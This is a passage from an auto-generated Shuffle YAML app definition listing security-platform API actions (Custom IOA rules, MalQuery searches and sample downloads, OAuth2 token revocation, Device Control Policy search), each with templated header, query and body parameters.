value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "comment": "${comment}", - "description": "${description}", - "disposition_id": "${disposition_id}", - "field_values": "${field_values}", - "name": "${name}", - "pattern_severity": "${pattern_severity}", - "rulegroup_id": "${rulegroup_id}", - "ruletype_id": "${ruletype_id}" - } - value: |- - { - "comment": "${comment}", - "description": "${description}", - "disposition_id": "${disposition_id}", - "field_values": "${field_values}", - "name": "${name}", - "pattern_severity": "${pattern_severity}", - "rulegroup_id": "${rulegroup_id}", - "ruletype_id": "${ruletype_id}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: update_rules_within_a_rule_group - label: Custom IOA - Update rules within a rule group - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "comment": "${comment}", - "rule_updates": "${rule_updates}", - "rulegroup_id": "${rulegroup_id}", - "rulegroup_version": "${rulegroup_version}" - } - value: |- - { - "comment": "${comment}", - "rule_updates": "${rule_updates}", - "rulegroup_id": "${rulegroup_id}", - "rulegroup_version": "${rulegroup_version}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_rule_types_by_id - label: Custom IOA - Get rule types by ID - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the entities - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_all_platform_ids - label: Custom IOA - Get all platform IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Starting index of overall result set from which to return IDs - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Number of IDs to return - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: find_all_rule_ids - label: Custom IOA - Finds all rule IDs matching the query with optional filter - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Possible order by fields: {rules.ruletype_name, rules.enabled, rules.created_by, - rules.current_version.name, rules.current_version.modified_by, rules.created_on, - rules.current_version.description, rules.current_version.pattern_severity, rules.current_version.action_label, - rules.current_version.modified_on}' - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'FQL query specifying the filter parameters. Filter term criteria: - [enabled platform name description rules.action_label rules.name rules.description - rules.pattern_severity rules.ruletype_name rules.enabled]. Filter range criteria: - created_on, modified_on; use any common date format, such as ''2010-05-15T14:55:21.892315096Z''.' - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Match query criteria, which includes all the filter string fields - name: q - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Starting index of overall result set from which to return IDs - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Number of IDs to return - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: find_all_rule_group_ids - label: Custom IOA - Finds all rule group IDs matching the query with optional filter - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Possible order by fields: {created_by, created_on, modified_by, - modified_on, enabled, name, description}' - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'FQL query specifying the filter parameters. Filter term criteria: - [enabled platform name description rules.action_label rules.name rules.description - rules.pattern_severity rules.ruletype_name rules.enabled]. Filter range criteria: - created_on, modified_on; use any common date format, such as ''2010-05-15T14:55:21.892315096Z''.' - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Match query criteria, which includes all the filter string fields - name: q - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Starting index of overall result set from which to return IDs - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Number of IDs to return - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_rule_groups_by_id - label: Custom IOA - Get rule groups by ID - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the entities - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_rule_groups_by_id - label: Custom IOA - Delete rule groups by ID - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the entities - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Explains why the entity is being deleted - name: comment - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: create_a_rule_group - label: Custom IOA - Create a rule group for a platform with a name and an optional description - Returns the rule group - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "comment": "${comment}", - "description": "${description}", - "name": "${name}", - "platform": "${platform}" - } - value: |- - { - "comment": "${comment}", - "description": "${description}", - "name": "${name}", - "platform": "${platform}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: update_a_rule_group - label: Custom IOA - Update a rule group The following properties can be modified name description - enabled - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "comment": "${comment}", - "description": "${description}", - "enabled": "${enabled}", - "id": "${id}", - "name": "${name}", - "rulegroup_version": "${rulegroup_version}" - } - value: |- - { - "comment": "${comment}", - "description": "${description}", - "enabled": "${enabled}", - "id": "${id}", - "name": "${name}", - "rulegroup_version": "${rulegroup_version}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_all_rule_type_ids - label: Custom IOA - Get all rule type IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Starting index of overall result set from which to return IDs - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Number of IDs to return - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_all_pattern_severity_ids - label: Custom IOA - Get all pattern severity IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Starting index of overall result set from which to return IDs - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Number of IDs to return - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: validates_field_values_and_checks_for_string_matches - label: Custom IOA - Validates field values and checks for matches if a test string is provided - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "fields": "${fields}" - } - value: |- - { - "fields": "${fields}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_rules_by_id - label: Custom IOA - Get rules by ID and optionally version in the following format IDversion - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "ids": "${ids}" - } - value: |- - { - "ids": "${ids}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: find_all_rule_groups - label: Custom IOA - Find all rule groups matching the query with optional filter - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Possible order by fields: {created_by, created_on, modified_by, - modified_on, enabled, name, description}' - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'FQL query specifying the filter parameters. Filter term criteria: - [enabled platform name description rules.action_label rules.name rules.description - rules.pattern_severity rules.ruletype_name rules.enabled]. Filter range criteria: - created_on, modified_on; use any common date format, such as ''2010-05-15T14:55:21.892315096Z''.' - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Match query criteria, which includes all the filter string fields - name: q - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Starting index of overall result set from which to return IDs - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Number of IDs to return - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_platforms_by_id - label: Custom IOA - Get platforms by ID - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the entities - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_pattern_severities_by_id - label: Custom IOA - Get pattern severities by ID - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the entities - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_a_zipped_sample - label: Malquery - Fetch a zip archive with password infected containing the samples Call this - once the entitiessamplesmultidownload request has finished processing - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Multidownload job id - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: schedule_samples_for_download - label: Malquery - Schedule samples for download Use the result id with the request endpoint - to check if the download is ready after which you can call the entitiessamplesfetch - to get the zip - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "samples": "${samples}" - } - value: |- - { - "samples": "${samples}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_falcon_malquery - label: Malquery - Search Falcon MalQuery for a combination of hex patterns and strings in order - to identify samples based upon file content at byte level granularity You can - filter results on criteria such as file type file size and first seen date Returns - a request id which can be used with the request endpoint - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "options": "${options}", - "patterns": "${patterns}" - } - value: |- - { - "options": "${options}", - "patterns": "${patterns}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_information_about_search_and_download_quotas - label: Malquery - Get information about search and download quotas in your environment - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_indexed_files_metadata_by_their_hash - label: Malquery - Retrieve indexed files metadata by their hash - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The file SHA256. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: schedule_a_yara_based_search_for_execution - label: Malquery - Schedule a YARAbased search for execution Returns a request id which can - be used with the request endpoint - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "options": "${options}", - "yara_rule": "${yara_rule}" - } - value: |- - { - "options": "${options}", - "yara_rule": "${yara_rule}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: check_the_status_and_results_of_an_asynchronous_request - label: Malquery - Check the status and results of an asynchronous request such as hunt or exactsearch - Supports a single request id at this time - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Identifier of a MalQuery request - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: download_a_file_indexed_by_malquery - label: Malquery - Download a file indexed by MalQuery Specify the file using its SHA256 Only - one file is supported at this time - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The file SHA256. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: revoke_oauth2_access_token - label: OAuth2 - Revoke a previously issued OAuth2 access token before the end of its standard - 30minute lifespan - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Accept-Encoding: application/json - Content-Type: application/x-www-form-urlencoded - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_device_control_policy_ids - label: Device Control Policies - Search for Device Control Policies in your environment by providing an FQL - filter and paging details Returns a set of Device Control Policy IDs which match - the filter criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - 